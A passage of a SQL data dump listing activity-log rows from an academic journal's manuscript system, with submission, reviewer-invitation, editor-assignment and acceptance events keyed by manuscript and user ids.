Reviewer',8660,'Publisher',85),(86054,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(86055,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(86056,'0000-00-00 00:00:00','Publisher : Notified Author',8594,'Publisher',85),(86057,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(86058,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(86059,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(86060,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(86061,'0000-00-00 00:00:00','Manuscript has been Revised',8885,'Author',4635),(86063,'0000-00-00 00:00:00','Reviewer has updated comments',8848,'Reviewer',15588),(86075,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8863,'Publisher',48),(86076,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8845,'Editor',1367),(86077,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8845,'Editor',1367),(86078,'0000-00-00 00:00:00','Reviewer has submitted comments',8845,'Reviewer',10212),(86079,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8845,'Publisher',972),(86102,'0000-00-00 00:00:00','Author sent Email',8208,'Author',9373),(86104,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9096,'Author',10087),(86111,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9102,'Author',10090),(86121,'0000-00-00 00:00:00','Author sent Email',8043,'Author',9222),(86128,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9105,'Author',10092),(86131,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9081,'Publisher',248),(86134,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9068,'Editor',194),(86135,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9068,'Editor',194),(86136,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9068,'Publisher',48),(86142,'0000-00-00 00:00:00','Reviewer has submitted comments',8584,'Reviewer',17412),(86143,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8584,'Editor',1245),(86144,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8584,'Editor',1245),(86145,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8584,'Publisher',376),(86155,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8953,'Editor',194),(86156,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8953,'Editor',194),(86160,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9110,'Author',10097),(86211,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9112,'Publisher',48),(86221,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9105,'Publisher',48),(86259,'0000-00-00 00:00:00','Reviewer has submitted comments',8102,'Reviewer',11689),(86273,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9116,'Publisher',376),(86277,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9117,'Publisher',376),(86279,'0000-00-00 00:00:00','Reviewer has submitted comments',9068,'Reviewer',11689),(86286,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8102,'Publisher',48),(86287,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8953,'Publisher',48),(86319,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8074,'Publisher',75),(86320,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8074,'Publisher',75),(86321,'0000-00-00 00:00:00','Reviewer has submitted comments',8789,'Reviewer',11689),(86322,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8789,'Publisher',48),(86323,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9130,'Author',10107),(86338,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8208,'Publisher',75),(86339,'0000-00-00 00:00:00','Reviewer has submitted comments',8208,'Reviewer',11589),(86340,'0000-00-00 00:00:00','Publisher : Notified Editor',8208,'Publisher',75),(86341,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8208,'Editor',162),(86342,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8208,'Publisher',75),(86355,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9134,'Author',10111),(86383,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9137,'Publisher',376),(86407,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8403,'',1045),(86411,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8943,'Publisher',48),(86414,'0000-00-00 00:00:00','Publisher : Notified Author',8594,'Publisher',85),(86415,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(86416,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8898,'Publisher',248),(86417,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8924,'Publisher',248),(86468,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9081,'Editor',1674),(86469,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9081,'Editor',1674),(86470,'0000-00-00 00:00:00','Author sent Email',8043,'Author',9222),(86471,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9112,'Publisher',48),(86490,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9117,'Publisher',376),(86491,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9116,'Publisher',376),(86519,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9134,'Publisher',84),(86526,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8494,'Editor',1452),(86527,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8494,'Editor',1452),(86528,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8494,'Publisher',376),(86530,'0000-00-00 00:00:00','Manuscript Updated',8481,'Publisher',645),(86531,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9155,'Publisher',84),(86532,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9156,'Publisher',84),(86533,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9157,'Publisher',84),(86535,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9158,'Publisher',645),(86539,'0000-00-00 00:00:00','Author sent Email',8043,'Author',9222),(86541,'0000-00-00 00:00:00','Author sent Email',8043,'Author',9222),(86543,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9160,'Publisher',48),(86544,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8208,'Publisher',75),(86546,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9102,'Publisher',319),(86548,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9102,'Publisher',319),(86549,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9102,'Publisher',319),(86550,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9102,'Publisher',319),(86551,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9102,'Publisher',319),(86552,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9102,'Publisher',319),(86569,'0000-00-00 00:00:00','Reviewer has submitted comments',9102,'Reviewer',12875),(86587,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9168,'Publisher',645),(86589,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9169,'Publisher',48),(86592,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9171,'Publisher',48),(86593,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9172,'Publisher',48),(86594,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9173,'Publisher',48),(86598,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9158,'Publisher',645),(86603,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9160,'Publisher',48),(86647,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9156,'Publisher',84),(86648,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9155,'Publisher',84),(86734,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9174,'Publisher',645),(86744,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9179,'Author',10139),(86749,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9183,'Publisher',645),(86765,'0000-00-00 00:00:00','Author sent Email',7702,'Author',8936),(86780,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7734,'Editor',222),(86782,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7741,'Editor',222),(86783,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7929,'Editor',222),(86784,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7929,'Editor',222),(86785,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8253,'Editor',222),(86786,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8253,'Editor',222),(86787,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8441,'Editor',222),(86788,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8441,'Editor',222),(86789,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8634,'Editor',222),(86790,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8634,'Editor',222),(86791,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8700,'Editor',222),(86792,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8700,'Editor',222),(86793,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8703,'Editor',222),(86794,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8703,'Editor',222),(86795,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8914,'Editor',222),(86796,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8914,'Editor',222),(86797,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9134,'Editor',222),(86798,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9134,'Editor',222),(86799,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9155,'Editor',222),(86800,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9155,'Editor',222),(86801,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9156,'Editor',222),(86802,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9156,'Editor',222),(86803,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9157,'Editor',222),(86805,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8945,'Publisher',248),(86806,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8945,'Publisher',248),(86807,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6929,'Editor',222),(86808,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6929,'Editor',222),(86811,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6929,'Publisher',84),(86813,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9137,'Publisher',376),(86817,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9173,'Publisher',48),(86818,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9172,'Publisher',48),(86819,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9169,'Publisher',48),(86820,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9171,'Publisher',48),(86821,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9174,'Publisher',645),(86822,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9096,'Publisher',75),(86823,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9130,'Publisher',75),(86824,'0000-00-00 00:00:00','Publisher : Notified Editor',9102,'Publisher',319),(86826,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9102,'Editor',1069),(86827,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9102,'Editor',1069),(86828,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9102,'Publisher',319),(86905,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9158,'Publisher',645),(86906,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9158,'Publisher',645),(86907,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9158,'Publisher',645),(86908,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9158,'Publisher',645),(86909,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9158,'Publisher',645),(86919,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9031,'Editor',160),(86920,'0000-00-00 00:00:00','Editor has Invited Reviewer',9031,'Editor',160),(86921,'0000-00-00 00:00:00','Editor has Invited Reviewer',9031,'Editor',160),(86922,'0000-00-00 00:00:00','Editor has Invited Reviewer',9031,'Editor',160),(86923,'0000-00-00 00:00:00','Editor has Invited Reviewer',9031,'Editor',160),(86924,'0000-00-00 00:00:00','Editor has Invited Reviewer',9031,'Editor',160),(86925,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8846,'Editor',160),(86926,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8319,'Editor',160),(86927,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8284,'Editor',160),(86928,'0000-00-00 00:00:00','Author sent Email',9102,'Author',10090),(86937,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9179,'Publisher',972),(86938,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9179,'Publisher',972),(86939,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9179,'Publisher',972),(86940,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9179,'Publisher',972),(86941,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9179,'Publisher',972),(86942,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9179,'Publisher',972),(86943,'0000-00-00 00:00:00','Manuscript Updated',8481,'Publisher',645),(86995,'0000-00-00 00:00:00','Author sent Email',8043,'Author',9222),(87022,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9173,'Publisher',48),(87023,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9173,'Publisher',48),(87024,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9173,'Publisher',48),(87025,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9173,'Publisher',48),(87026,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9173,'Publisher',48),(87027,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9174,'Publisher',645),(87028,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9174,'Publisher',645),(87029,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9172,'Publisher',48),(87030,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9174,'Publisher',645),(87031,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9172,'Publisher',48),(87032,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9174,'Publisher',645),(87033,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9172,'Publisher',48),(87034,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9174,'Publisher',645),(87035,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9172,'Publisher',48),(87036,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9172,'Publisher',48),(87037,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9172,'Publisher',48),(87038,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9168,'Publisher',645),(87039,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9168,'Publisher',645),(87040,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9168,'Publisher',645),(87041,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9171,'Publisher',48),(87042,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9168,'Publisher',645),(87043,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9171,'Publisher',48),(87044,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9168,'Publisher',645),(87045,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9171,'Publisher',48),(87046,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9168,'Publisher',645),(87047,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9171,'Publisher',48),(87048,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9171,'Publisher',48),(87049,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9171,'Publisher',48),(87050,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9171,'Publisher',48),(87051,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9171,'Publisher',48),(87052,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9169,'Publisher',48),(87053,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9169,'Publisher',48),(87054,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9169,'Publisher',48),(87055,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9160,'Publisher',48),(87056,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9160,'Publisher',48),(87057,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9160,'Publisher',48),(87058,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9160,'Publisher',48),(87059,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9160,'Publisher',48),(87060,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9160,'Publisher',48),(87061,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9160,'Publisher',48),(87062,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9160,'Publisher',48),(87063,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9160,'Publisher',48),(87064,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(87065,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(87066,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(87067,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(87068,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(87069,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(87070,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(87071,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(87072,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(87073,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(87074,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(87075,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(87076,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(87077,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9112,'Publisher',48),(87098,'0000-00-00 00:00:00','Reviewer has submitted comments',9174,'Reviewer',17489),(87099,'0000-00-00 00:00:00','Reviewer has updated comments',9174,'Reviewer',17489),(87100,'0000-00-00 00:00:00','Reviewer has submitted comments',9168,'Reviewer',4512),(87102,'0000-00-00 00:00:00','Reviewer has submitted comments',9158,'Reviewer',17489),(87103,'0000-00-00 00:00:00','Reviewer has updated comments',9158,'Reviewer',17489),(87104,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9174,'Editor',634),(87105,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9168,'Editor',634),(87106,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9158,'Editor',634),(87107,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9174,'Editor',634),(87108,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9168,'Editor',634),(87109,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9158,'Editor',634),(87110,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8514,'Editor',634),(87111,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8514,'Editor',634),(87112,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8481,'Editor',634),(87113,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8460,'Editor',634),(87114,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8460,'Editor',634),(87115,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8364,'Editor',634),(87120,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8364,'Publisher',645),(87121,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8460,'Publisher',645),(87122,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8481,'Publisher',645),(87123,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8696,'Publisher',645),(87124,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9158,'Publisher',645),(87125,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9168,'Publisher',645),(87126,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9174,'Publisher',645),(87131,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9210,'Author',10164),(87258,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9210,'Publisher',85),(87259,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87260,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87261,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87262,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87263,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87264,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87265,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87266,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87267,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87268,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87269,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87270,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87271,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87272,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87273,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87274,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87275,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87276,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87277,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87278,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87279,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87280,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87281,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87308,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9210,'Editor',1393),(87309,'0000-00-00 00:00:00','Editor has Invited Reviewer',9210,'Editor',1393),(87310,'0000-00-00 00:00:00','Editor has Invited Reviewer',9210,'Editor',1393),(87311,'0000-00-00 00:00:00','Editor has Invited Reviewer',9210,'Editor',1393),(87312,'0000-00-00 00:00:00','Editor has Invited Reviewer',9210,'Editor',1393),(87313,'0000-00-00 00:00:00','Editor has Invited Reviewer',9210,'Editor',1393),(87314,'0000-00-00 00:00:00','Editor has Invited Reviewer',9210,'Editor',1393),(87315,'0000-00-00 00:00:00','Editor has Invited Reviewer',9210,'Editor',1393),(87317,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9229,'Author',10185),(87318,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9230,'Author',10186),(87320,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9231,'Author',10187),(87328,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9233,'Author',10189),(87337,'0000-00-00 00:00:00','Manuscript Submitted by Author',9235,'Author',4939),(87371,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9236,'Publisher',319),(87412,'0000-00-00 00:00:00','Manuscript Submitted by Author',9243,'Author',10195),(87416,'0000-00-00 00:00:00','Publisher : Notified Author',8594,'Publisher',85),(87424,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87425,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87426,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87427,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87428,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87429,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87430,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87431,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87432,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87433,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87434,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87435,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87436,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87437,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87438,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87439,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87440,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87441,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87442,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87443,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87444,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87445,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87446,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87447,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87448,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87449,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87450,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87451,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(87458,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',8513,'Reviewer',15975),(87464,'0000-00-00 00:00:00','Author sent Email',8043,'Author',9222),(87548,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9230,'Publisher',376),(87549,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9137,'Publisher',376),(87550,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9117,'Publisher',376),(87551,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9116,'Publisher',376),(87552,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9235,'Publisher',274),(87600,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7929,'Publisher',84),(87601,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8703,'Publisher',84),(87602,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8700,'Publisher',84),(87603,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8917,'Editor',221),(87605,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6518,'Publisher',84),(87606,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6237,'Publisher',84),(87608,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9233,'',1045),(87609,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9155,'Publisher',84),(87610,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9157,'Publisher',84),(87612,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7734,'Publisher',84),(87641,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9236,'Publisher',319),(87643,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9236,'Editor',1069),(87644,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9236,'Editor',1069),(87646,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9236,'Publisher',319),(87654,'0000-00-00 00:00:00','Publisher : Notified Editor',8594,'Publisher',85),(87655,'0000-00-00 00:00:00','Publisher : Notified Editor',8595,'Publisher',85),(87656,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8874,'Editor',1675),(87657,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8594,'Editor',1675),(87658,'0000-00-00 00:00:00','Publisher : Notified Author',8594,'Publisher',85),(87659,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8595,'Editor',1343),(87660,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8595,'Editor',1343),(87661,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87662,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87663,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87664,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87665,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87666,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87667,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87668,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87669,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87670,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(87671,'0000-00-00 00:00:00','Publisher has Invited 